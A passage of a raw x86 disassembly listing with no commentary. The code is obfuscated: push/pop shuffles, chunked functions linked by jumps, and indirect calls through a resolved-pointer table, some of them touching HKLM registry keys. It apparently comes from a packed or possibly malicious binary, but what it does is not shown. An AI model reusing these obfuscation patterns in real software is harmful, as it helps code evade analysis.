; START	OF FUNCTION CHUNK FOR sub_9B6078


loc_9AB94D:				; CODE XREF: sub_9B6078-619j
		test	dl, 2
		jz	loc_9B09C0
		jmp	loc_9AAFC8
; END OF FUNCTION CHUNK	FOR sub_9B6078
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AB95C	proc near		; CODE XREF: sub_9B3A74-8BE1p
					; sub_9B1B20-5EC9p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 009B05EE SIZE 00000003 BYTES

		push	ebp
		push	[esp+4+arg_0]
		pop	ebp
		or	ebp, ebp
		push	esi
		push	ecx
		pop	esi
		jle	loc_9B05EE
		jmp	sub_9B4724
sub_9AB95C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AB974:				; CODE XREF: sub_9B0930-14B6j
					; DATA XREF: .text:off_9B89E1o
		push	off_9B9730
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		mov	[edx+4Ch], eax
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	eax
		push	dword ptr [eax+4Ch]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B480C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B037C


loc_9AB9A8:				; CODE XREF: sub_9B037C-4357j
					; sub_9B037C-3661j ...
		push	dword ptr [ebp-4044h]
		pop	ecx
		push	ecx
		xor	edx, edx
		call	sub_9B5CDC
		or	eax, eax
		jz	loc_9B5E74
		jmp	off_9B9355
; END OF FUNCTION CHUNK	FOR sub_9B037C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9AB9C8:				; CODE XREF: sub_9AF25C-3DD9j
					; sub_9AF25C+33C8j ...
		lea	ecx, [ebp-28h]
		call	sub_9B5480


loc_9AB9D0:				; CODE XREF: sub_9AF25C+4921j
					; sub_9AF25C+4EDCj
		mov	al, [ebp-20h]
		test	al, 1
		push	dword ptr [ebp-24h]
		pop	edi
		jz	loc_9B5344
		jmp	off_9BAAA9
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEDD0


loc_9AB9E8:				; CODE XREF: sub_9AEDD0+26j
		push	dword_9BEC20[eax]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B3228
		jmp	off_9B8DC2
; END OF FUNCTION CHUNK	FOR sub_9AEDD0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B5300


loc_9ABA00:				; CODE XREF: sub_9B161C+F0j
					; sub_9B5300+Dj
					; DATA XREF: ...
		push	4
		pop	eax


loc_9ABA03:				; CODE XREF: sub_9B161C+Cj
		pop	esi
		pop	ebp
		pop	ebx
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9B5300
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9ABA0C:				; CODE XREF: sub_9B63D8-280j
		cmp	word ptr [edx+ebp-2120h], 0A0Dh
		jz	loc_9AC5C0
		jmp	loc_9ADE94
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B327C


loc_9ABA24:				; CODE XREF: sub_9B327C-588j
					; DATA XREF: .text:off_9BA3CCo
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_9B327C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9ABA28:				; CODE XREF: sub_9B3864:loc_9ACC3Cj
		mov	eax, [ebp+var_2028]
		test	eax, eax
		jnz	loc_9AF480
		jmp	loc_9AF870
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9ABA3C	proc near		; CODE XREF: sub_9B14CC+37p

; FUNCTION CHUNK AT 009AB51F SIZE 00000029 BYTES
; FUNCTION CHUNK AT 009AE300 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AEDFC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B028C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009B06D4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B50EC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B5CFC SIZE 00000026 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BAD4C
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 114h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		push	ecx
		pop	esi
		xor	ebx, ebx
		mov	[ebp-18h], esp
		mov	[ebp-124h], ebx
		mov	[ebp-4], ebx
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	esi
		push	104h
		call	dword ptr [ecx+38h]
		cmp	[esi], bl
		jz	loc_9B5D02
		jmp	loc_9AE300
sub_9ABA3C	endp

; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9ABAA4:				; CODE XREF: sub_9AC6DC-2F5j
		mov	esi, dword_9BBD18


loc_9ABAAA:				; CODE XREF: sub_9AC6DC+69E4j
					; sub_9AC6DC+6F15j
		push	eax
		pop	ecx
		or	ecx, ebx
		jnz	loc_9AFE48
		jmp	loc_9AFC78
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9ABABC:				; CODE XREF: sub_9AC32C+43EFj
		mov	[esp+324h+var_204], ecx
		mov	[esp+324h+var_208], edx


loc_9ABACA:				; CODE XREF: sub_9AC32C+43E9j
		push	eax
		pop	ebx
		and	ebx, 20h
		jz	loc_9AB496
		jmp	loc_9AB488
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9ABADC	proc near		; CODE XREF: sub_9B3FF8-5BACp
					; sub_9B2830+FE8p

; FUNCTION CHUNK AT 009AAFAC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009AE8E0 SIZE 00000004 BYTES

		test	edx, edx
		mov	eax, edx
		not	eax
		jz	loc_9AE8E1
		jmp	loc_9AAFAC
sub_9ABADC	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9ABAF0:				; CODE XREF: sub_9AC6DC+74B8j
					; DATA XREF: .text:off_9B9E76o
		mov	eax, esi
		mov	edx, 3E8h
		mul	edx
		push	ebx
		push	edi
		push	edx
		push	eax
		call	__aulldiv
		mov	ebx, edx
		mov	dword_9BBD10, eax
		mov	dword_9BBD14, ebx
		jmp	loc_9AC3DE
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9ABB14:				; CODE XREF: sub_9B4950+9Fj
		lea	ecx, [ebp-28h]
		call	sub_9B31A8
		lea	ecx, [ebp-2Ch]
		call	sub_9B31A8
		lea	ecx, [ebp-30h]
		call	sub_9B31A8
		lea	ecx, [ebp-34h]
		call	sub_9B31A8
		lea	ecx, [ebp-38h]
		call	sub_9B31A8
		xor	edi, edi


loc_9ABB3E:				; CODE XREF: sub_9B4950-4B0Fj
		mov	[ebp-1Ch], edi
		cmp	edi, 20h
		jge	loc_9B194C
		jmp	off_9B9268
; END OF FUNCTION CHUNK	FOR sub_9B4950

; =============== S U B	R O U T	I N E =======================================



sub_9ABB50	proc near		; CODE XREF: sub_9B4FD0-4273j
					; sub_9B4FD0-1ECDj

; FUNCTION CHUNK AT 009ACDE1 SIZE 00000034 BYTES

		push	ebx
		pop	ecx
		call	sub_9B35A0
		or	ebx, 0FFFFFFFFh
		mov	[ebp-228h], ebx


loc_9ABB60:				; CODE XREF: sub_9B4FD0-5E41j
					; sub_9B4FD0-4279j ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_9ACDE1
sub_9ABB50	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9ABB6C:				; CODE XREF: sub_9ACEE8+3021j
		inc	eax
		jmp	loc_9AC687
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2F1C


loc_9ABB74:				; CODE XREF: sub_9B2F1C-C04j
		lea	edi, [eax+1Ah]
		cmp	edi, 1FFCh
		jbe	loc_9AE688
		jmp	loc_9AB548
; END OF FUNCTION CHUNK	FOR sub_9B2F1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9ABB88:				; CODE XREF: sub_9B0930-49A5j
					; DATA XREF: .text:off_9B980Fo
		push	off_9BA160
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		mov	[edx+94h], eax
		mov	eax, dword_9BCB74
		mov	eax, [eax]
		push	dword ptr [eax+94h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AB1F8
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9ABBC0:				; CODE XREF: sub_9AF25C+53j
		call	sub_9B36E8
		push	eax
		pop	edi
		sub	edx, edx
		mov	[ebp-2Ch], edi
		mov	ecx, esi
		call	sub_9AEE5C
		mov	edx, 4
		mov	[ebp-1Ch], eax
		call	sub_9AEE5C
		push	eax
		pop	ebx
		mov	edx, 8
		mov	[ebp-30h], ebx
		call	sub_9AEE5C
		mov	edx, 0Ch
		mov	[ebp-24h], eax
		call	sub_9AEE5C
		mov	[ebp-20h], eax
		push	dword ptr [ebp-1Ch]
		pop	edx
		and	edx, 7FFFFFFFh
		and	edi, 7FFFFFFFh
		cmp	edx, edi
		jbe	loc_9AB8D1
		jmp	off_9BAB88
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9ABC20	proc near		; CODE XREF: sub_9B1B20+7Cp
					; sub_9B4480+77p

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 009ADBF9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B1E69 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B5A9C SIZE 00000033 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B93A3
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		jmp	off_9B8FB3
sub_9ABC20	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1B20


loc_9ABC4C:				; CODE XREF: sub_9B1B20+99j
					; DATA XREF: .text:off_9BACE4o
		push	edi
		mov	edx, ebx
		lea	eax, [ebp+var_328]
		push	esi
		pop	ecx
		call	sub_9AB95C
		add	esp, 4
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+0Ch]
		pop	eax
		lea	ecx, [ebp+var_32C]
		push	ecx
		push	20006h
		push	0
		lea	edx, [ebp+var_224]
		jmp	off_9BA408
; END OF FUNCTION CHUNK	FOR sub_9B1B20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4480


loc_9ABC84:				; CODE XREF: sub_9B4480-61F0j
					; DATA XREF: .text:off_9BA840o
		mov	eax, dword_9BCB74
		mov	ecx, [eax+0Ch]
		lea	edx, [ebp+var_330]
		push	edx
		push	20019h
		push	esi
		lea	eax, [ebp+var_224]
		push	eax
		push	80000002h
		call	dword ptr [ecx+20h]
		test	eax, eax
		jnz	loc_9B4703
		jmp	off_9B9014
; END OF FUNCTION CHUNK	FOR sub_9B4480
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9ABCB8:				; CODE XREF: sub_9B0930+3E2j
		push	off_9B8EA4
		mov	ecx, [eax]
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	ecx
		mov	[ecx+58h], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	dword ptr [eax+58h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B426C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3FF8


loc_9ABCEC:				; CODE XREF: sub_9B3FF8-5978j
		lea	ecx, [esi+8]
		mov	eax, [esi+4]
		push	eax
		mov	edx, [esi]
		push	edx
		lea	eax, [edi-8]
		push	ecx
		call	sub_9B6370
		mov	ecx, edi
		push	esi
		pop	edx
		call	sub_9B649C
		push	eax
		pop	ebx
		mov	[ebp+var_1C], ebx
		cmp	ebx, 0Eh
		jb	loc_9B2884
		jmp	loc_9B527C
; END OF FUNCTION CHUNK	FOR sub_9B3FF8
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9ABD24:				; CODE XREF: sub_9AB1A0-3C3j
					; DATA XREF: .text:off_9BA5F0o
		sub	ecx, eax
		mov	[ebp-20h], ecx


loc_9ABD29:				; CODE XREF: sub_9AB1A0+1B1Cj
					; sub_9AB1A0+2FA2j ...
		inc	ebx
		jmp	loc_9B4D6C
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9ABD30	proc near		; CODE XREF: sub_9B3984-542Bp
					; sub_9B19D8+16p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 009ACB34 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AD5B4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009ADF00 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AF2B4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009AFFE4 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 009B07A4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B11CC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B4710 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B591C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009B5D88 SIZE 00000015 BYTES

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		push	edi
		push	[esp+0Ch+arg_4]
		pop	edi
		xor	esi, esi


loc_9ABD3E:				; CODE XREF: sub_9ABD30+89E5j
		mov	eax, [esp+0Ch+arg_C]
		push	eax
		push	ebx
		mov	eax, 8
		call	sub_9AC32C
		test	al, 3
		jnz	loc_9B11CC
		jmp	off_9B8D14
sub_9ABD30	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9ABD60:				; CODE XREF: sub_9B3408-433Bj
					; DATA XREF: .text:off_9BAFE3o
		push	dword ptr [ebp-128h]
		pop	ecx
		mov	[ebp-130h], ecx
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+0Ch]
		pop	eax
		lea	ecx, [ebp-130h]
		push	ecx
		mov	edx, [esi+44h]
		push	edx
		push	ebx
		push	ebx
		push	edi
		mov	ecx, [ebp-124h]
		push	ecx
		call	dword ptr [eax+10h]
		and	eax, eax
		jnz	loc_9AB749
		jmp	off_9BA938
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3984


loc_9ABDA0:				; CODE XREF: sub_9B3984-5EC8j
		mov	[ebp+var_2020],	ax
		push	5
		push	2002h
		lea	ecx, [ebp+var_2020]
		add	eax, 2
		mov	edi, ebx
		call	sub_9B5300
		mov	[ebp+var_4050],	eax
		cmp	eax, 4
		jnz	loc_9AB89C
		jmp	loc_9B102C
; END OF FUNCTION CHUNK	FOR sub_9B3984
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9ABDD4:				; CODE XREF: sub_9B1F68-21DAj
					; DATA XREF: .text:off_9BAE6Ao
		push	dword ptr [ebx]
		pop	ecx
		push	ecx
		jmp	loc_9AFB61
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AEBB8


loc_9ABDE3:				; CODE XREF: sub_9AEBB8+317Ej
					; sub_9B5228+28j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-124h]
		pop	eax
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		push	dword ptr [ebp-1Ch]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9AEBB8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9ABE10:				; CODE XREF: sub_9B63D8-152Cj
		jg	loc_9AF94B
		jmp	loc_9AED08
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3984


loc_9ABE1C:				; CODE XREF: sub_9B3984-5417j
		push	[ebp+var_4054]
		pop	eax
		and	eax, eax
		jz	loc_9AB89C
		jmp	loc_9ADA80
; END OF FUNCTION CHUNK	FOR sub_9B3984
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9ABE30:				; CODE XREF: sub_9ADAC4+565Cj
					; DATA XREF: .text:off_9B8DEFo
		mov	esi, eax
		mov	[ebp-48h], esi


loc_9ABE35:				; CODE XREF: sub_9ADAC4-46Aj
		cmp	esi, 0FFFFFFFFh
		jnz	loc_9B3334
		jmp	off_9BA6DF
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9ABE44:				; CODE XREF: sub_9AF25C+1900j
					; DATA XREF: .text:off_9B9A1Do
		mov	dword_9BBD30, ebx
		mov	edx, [ebp-1Ch]
		mov	dword_9BBD2C, edx
		push	4
		push	4
		pop	ecx
		push	off_9B8DBE
		pop	edx
		call	sub_9B1B20
		push	5
		mov	edx, off_9B9076
		mov	ecx, 4
		call	sub_9B1B20
		mov	dword_9BBE3C, ebx
		jmp	off_9BAAC0
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9ABE84	proc near		; CODE XREF: .text:009AE318p
					; sub_9B1584-1C4Bp ...

var_224		= byte ptr -224h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 009B12BB SIZE 00000024 BYTES
; FUNCTION CHUNK AT 009B4918 SIZE 00000029 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BB08B
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 214h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		push	[ebp+arg_0]
		pop	eax
		push	eax
		lea	esi, [ebp+var_224]
		call	sub_9B3BE8
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	esi
		pop	eax
		push	eax
		call	dword ptr [edx+5Ch]
		cmp	eax, 0FFFFFFFFh
		jz	loc_9B12BB
		jmp	off_9B8D96
sub_9ABE84	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B2830


loc_9ABEF0:				; CODE XREF: sub_9B2830+102Cj
		call	sub_9B45AC
		inc	edi
		sub	edx, edx
		div	edi
		mov	edi, edx
		mov	[ebp-24h], edi
		inc	dword ptr [ebp-20h]
		jmp	loc_9B3852
; END OF FUNCTION CHUNK	FOR sub_9B2830
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9ABF08	proc near		; CODE XREF: sub_9B2C70-55F5p
					; sub_9B1584-275Dp ...

; FUNCTION CHUNK AT 009ACCC8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009AF200 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 009B0B98 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009B131E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B2BF0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B355C SIZE 00000041 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B96BB
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		sub	edi, edi
		mov	[ebp-1Ch], edi
		mov	eax, 14h
		mov	[ebp-4], edi
		call	sub_9AF3E8
		push	eax
		pop	esi
		mov	[ebp-1Ch], esi
		cmp	esi, edi
		jz	loc_9AF21B
		jmp	off_9B926C
sub_9ABF08	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9ABF58:				; CODE XREF: sub_9B0930+12C2j
					; DATA XREF: .text:off_9BB04Co
		push	off_9BADEC
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		mov	ecx, [edx]
		mov	[ecx+90h], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		mov	ecx, [eax+90h]
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B980F
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9ABF94:				; CODE XREF: sub_9B04A8-203Fj
		push	dword ptr [ebp-4028h]
		pop	ecx
		push	dword ptr [ebp-4050h]
		pop	eax
		cmp	ecx, [eax+14h]
		jnz	loc_9B27C0
		jmp	off_9BA60D
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9ABFB4:				; CODE XREF: sub_9ADAC4+52ECj
					; DATA XREF: .text:off_9BA66Fo
		call	sub_9B31A8


loc_9ABFB9:				; CODE XREF: sub_9ADAC4+52E6j
		inc	esi
		jmp	loc_9AB8F0
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9ABFC0:				; CODE XREF: sub_9B03E8+52E0j
		mov	cl, [ebp-0B8h]
		mov	byte ptr dword_9BF384+2, cl
		mov	dl, [ebp-0B6h]
		mov	byte ptr dword_9BF384+3, dl
		test	byte ptr [ebp-0B4h], 10h
		jz	loc_9B21FA
		jmp	off_9BAA7F
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B037C


loc_9ABFEC:				; CODE XREF: sub_9B037C+2794j
		lea	edx, [ebp-404Ch]
		push	edx
		push	edi
		push	11h
		lea	eax, [ebp-402Ch]
		push	eax
		lea	ecx, [ebp-403Ch]
		push	ecx
		push	dword ptr [ebp-4054h]
		pop	edx
		push	edx
		lea	ecx, [ebp-201Ch]
		lea	edx, [ebp-401Ch]
		call	sub_9B3864
		mov	eax, [ebp-404Ch]
		or	eax, eax
		jz	loc_9AB9A8
		jmp	loc_9ACCFC
; END OF FUNCTION CHUNK	FOR sub_9B037C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9AC030:				; CODE XREF: sub_9AB1A0+46CAj
		call	sub_9B45AC
		sub	edx, edx
		div	dword_9BEBD0
		mov	esi, dword_9BCBCC[edx*4]
		mov	[ebp-1Ch], esi
		jmp	loc_9ACF74
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AC04C:				; CODE XREF: sub_9B0930+4E7Cj
					; DATA XREF: .text:off_9B9974o
		push	off_9BA880
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	ecx
		mov	[ecx+10h], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	eax
		mov	ecx, [eax+10h]
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9ADC44
; ---------------------------------------------------------------------------


loc_9AC080:				; CODE XREF: sub_9B0930+2EB0j
					; DATA XREF: .text:off_9BA1C8o
		push	off_9B87A0
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		mov	ecx, [edx]
		mov	[ecx+68h], eax
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		mov	ecx, [eax+68h]
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B2584
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9AC0B0:				; CODE XREF: sub_9B4950+A5j
					; DATA XREF: .text:off_9B8941o
		call	sub_9B6264
		and	eax, eax
		jz	loc_9AD3C4
		jmp	off_9B9E4D
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3B1C


loc_9AC0C4:				; CODE XREF: sub_9B3B1C-2741j
					; DATA XREF: .text:off_9B99AFo
		mov	edi, off_9B985C
		mov	ecx, 801h
		rep stosd
		push	6
		mov	ecx, 2004h
		push	off_9B985C
		pop	edx
		call	sub_9B1B20
		jmp	loc_9B1D3F
; END OF FUNCTION CHUNK	FOR sub_9B3B1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AC0EC:				; CODE XREF: sub_9B0930-4450j
		push	off_9BAB7C
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		mov	ecx, [edx]
		mov	[ecx+88h], eax
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	dword ptr [eax+88h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B96B7
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_9AC128	proc near		; CODE XREF: sub_9ACA48+68p
					; sub_9B1A08-3CAEp ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AFA8C SIZE 00000027 BYTES
; FUNCTION CHUNK AT 009B5E2C SIZE 0000001E BYTES

		push	ecx
		or	eax, eax
		jz	loc_9AFAA6
		jmp	loc_9AFA8C
sub_9AC128	endp

; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B2E04


loc_9AC13B:				; CODE XREF: sub_9B2E04-77C2j
					; sub_9B2E04-6C5j ...
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	0
		call	dword ptr [edx+60h]
		sub	eax, eax
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B2E04
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9AC170	proc near		; CODE XREF: sub_9B6078+41j
					; DATA XREF: .text:off_9B900Co

; FUNCTION CHUNK AT 009B5A4C SIZE 00000010 BYTES

		push	ebx
		pop	edi
		dec	edi


loc_9AC173:				; CODE XREF: sub_9AC170+9j
		mov	al, [edi+1]
		inc	edi
		and	al, al
		jnz	short loc_9AC173
		jmp	off_9B8C2E
sub_9AC170	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AD97C


loc_9AC184:				; CODE XREF: sub_9AD97C+1F26j
